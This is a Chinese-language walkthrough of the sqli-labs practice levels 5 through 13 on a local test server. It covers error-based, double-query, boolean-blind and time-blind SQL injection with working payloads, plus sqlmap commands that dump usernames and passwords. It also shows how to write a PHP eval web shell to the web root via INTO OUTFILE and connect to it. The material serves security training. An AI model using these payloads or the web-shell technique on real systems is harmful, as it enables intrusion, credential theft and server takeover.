第五关
双查询注入
什么是双查询注入?简单来说其实就是一个查询语句包含一个查询语句,实际上是报错注入的一种!
这关通关的原理就在于:双注入查询需要联合和MYSQL的BUG来进行报错注入
在此之前,我们先掌握些必要的MYSQL函数:
Rand() #产生0到1之间的随机小数的函数
Floor() #取整数函数
Count() #汇总函数
Group by #分组语句
Substr() #用于字符串加减
Ord() #将ascii码值转为字符
Mid() #字符串截取
Ifnull(exp1,exp2) #如果exp1不是null,ifnull则返回exp1,否则返回exp2
Cast() #函数的参数是一个表达式,他用于AS关键词分隔的原值和目标数据类型
Mysql的BUG:当一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来;
开始判断注入
这里存在注入点
这一关的标题就是双查询注入
找到闭合点直接开始注入
查询到当前数据库“security”
查询表名
limit0,1 从第一行开始只查询一行的数据
查询列名
查询列中信息
有limit只能先查询完用户名再查询密码一个一个查询
updatexml()报错注入
解释:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
第六关
这一关和第5关也是一样的原理,只不过是将单引号改成了双引号来进行闭合,
步骤就不都写了
和第五关一样
第七关
那这里慢慢对前面的SQL语句进行闭合,经过多次测试,最终能够闭合和注释的代码为:
‘))–+
题目中已经给出要操作的内容就是使用into outfile语句导入导出我们的一句话木马到网站的根目录下,从而获得网站的控制权限
猜测有多少字段,经过测试存在3个字段
http://127.0.0.1/sqlilabs/Less-7/?id=1’))order by 3–+
http://127.0.0.1/sqlilabs/Less-7/?id=1’))order by 4–+
在进行导入文件时需要先修改配置文件
需要在mysql.ini文件中写入secure_file_priv="/" 在重启mysql数据库即可
接下来重头戏:
http://127.0.0.1/sqli-labs-master/Less-5/index.php?id=-1’)) union select 1,2,"<?php eval($_POST['cmd']);?>" into outfile “路径\文件名.php” --+
ma.php一句话已经导入到根目录下
用蚁剑进行连接
第八关
来到第八关,到这里我们就需要进阶了解什么是布尔盲注?
在特定的WEB应用程序中,你可以亲眼目睹该数据不显示任何的数据在网页上或在某种特定的方式联合注入不显示,MYSQL的错误也不会显示在页面上,所以在技术上没有通过任何直接的渠道把数据库回显写在网页上,这种情况下唯一选择是使用盲注,盲注就是通过逻辑判断对来我们提交的数值进行一个个的猜测,大多数是使用PYTHON自动化这种猜测,因为是有规律可以查询,通过页面的返回是否正常来推断是否判断正确;//我们通过构造语句,来判断数据库信息的正确性,在通过页面的真和假来识别我们的额判断是否真确,这就是布尔盲注
常见的逻辑判断:
and //逻辑与判断 如果其中有一个为假即为假
or //逻辑或判断 如果有个为真的话既可为真
xor //异或
我们先推断出闭合与注释的语句为 ’–+,猜解字段也没有什么问题,但是不能再返回的页面上来进行数据内容的回显,此时我们就需要进行盲注的操作
1.这里我先解释下这些东西,ascii()函数时将括号里面的字符转换成ASCII码,substr()是对指定字符串取字符的操作,然后将数据库名字的第一个字母转换成ascii码判断是不是ascii码值115(对应的是s)然后不断的猜解下面的内容;
2.substr(string,start,length) //string是指要截取的字符串,start是指规定在字符串的何处开始,length是指要截取的字符串长度
3.我们先判断出数据库的名字,在判断表名,继续往下判断字段名,然后是字段下的内容,这样一步一步的判断是很浪费时间,所以我们可以借助SQLmap攻击来自动化
python sqlmap.py “http://127.0.0.1/sqlilabs/Less-8/?id=1” --technique B --dbs –batch
–dbs 目标服务器中有什么数据库,常用,直接用–dbs
–tables 目标数据库有什么表,常用,直接用–tables
–columns 目标表中有什么列,常用,直接用–colums
Techniques(技巧)
–technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
第九关
来到第九关,你会发现不论你怎么测试都会是在浏览器中加载标志转一圈之后就没有任何的返回错误信息,那这里用到的技术是基于时间的盲注,那么这里我们就用延时注入的方式来进行注入攻击
sleep()函数 网页延迟n秒后,输出结果
left()函数 从左边数,取几个数
例如:left(abcdef,3) 取3位左边的数,就是abc
判断存在注入点,延迟注入
判断数据库的长度
’ and if (length(database()) = 8 ,sleep(4),1)–+
就是如果数据库的长度为8,就延时反应4秒
构造出我们的攻击语句
’ and if(ascii(substr(database(),1,1)=115),1,sleep(5))–+
如果数据库的第一个字段的ascii的值为115的话就返回1,即页面会做任何操作,如果不是的话睡眠5秒钟那就执行sleep函数,,这里我们看到发送了延迟,所以数据库的第一个字段为s,接下来就需要慢慢猜解数据库名以及下面的所有内容
依次类推爆出来库名
’ and If(ascii(substr(database(),2,1))=101,sleep(5),1)–+
说明第二位是 e (ascii 码是 101)
猜解security数据库的表名:
’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1)1,1))=101,sleep(5),1)–+
猜解user表的列:
?id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit 0,1),1,1))=105,sleep(4),1)–+
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password
猜解username的字段值
’ and If(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(4),1)–+
以此类推,我们得到数据库 username,password 的所有内容
猜解太费时间了还是直接用sqlmap工具吧
python sqlmap.py “http://127.0.0.1/sqli-labs-master/Less-9/?id=1” --technique T --dbs –batch
第十关
和第九关一样,第十关也是时间盲注的注入
还是先判断注入点吧
?id=1’ and(sleep(5)) 无延迟
?id=1“ and(sleep(5)) 有延迟
过程和第九关一样,就是闭合点变成了 “
第十一关
先用sqlmap工具试试吧
闭合方式 ‘
前提是先找到注入点,11管注入点在 "uname=asd&passwd=fda&submit=Submit“
先使用bp抓一下包
python2 sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-11/” --data “uname=asd&passwd=fda&submit=Submit” --dbs --threads 8 --technique E --dbms mysql --batch
直接爆出了数据库
开始爆表
python2 sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-11/” --data “uname=asd&passwd=fda&submit=Submit” --tables -D “security” --threads 8 --technique E --dbms mysql --batch
表已经爆出来了直接爆列吧
python2 sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-11/” --data “uname=asd&passwd=fda&submit=Submit” --columns -T “users” -D “security” --threads 8 --technique E --dbms mysql --batch
最后爆一下字段吧
python2 sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-11/” --data “uname=asd&passwd=fda&submit=Submit” --dump -C “username,password” -T “users” -D “security” --threads 8 --technique E --dbms mysql --batch
工具虽然很方便但还是手工注入一次吧
使用bp抓取一下包
先找闭合点
报显示为,不存在3个字段
只有2个字段
爆用户名,数据库,路径
'union select 1,group_concat(database(),user(),@@datadir)–+
爆表名
'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()–+
爆列名
如果报错的话把数表名改为16进制才能被MySQL识别
'union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’–+
爆字段内容
‘union select 1,group_concat(username,’~’,password) from users
第十二关
我们还是先将数据包发送到BP里面
在经过测试之后发现与上一关的闭合方式与注释语句为 “)–+
其他和上一关过程一样
第十三关
第13关为双查询注入,这次的提交的方式为POST,我们先找到其闭合的方式为
')–+
查询数据库
')union select count(*),concat((select database()),floor(rand()2))as a from information_schema.tables group by a–+
查询列
')union select count(),concat((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),floor(rand()*2))as a from information_schema.tables group by a–+
updatexml()函数报错注入解析
爆数据库
') and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
爆表名
') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)–+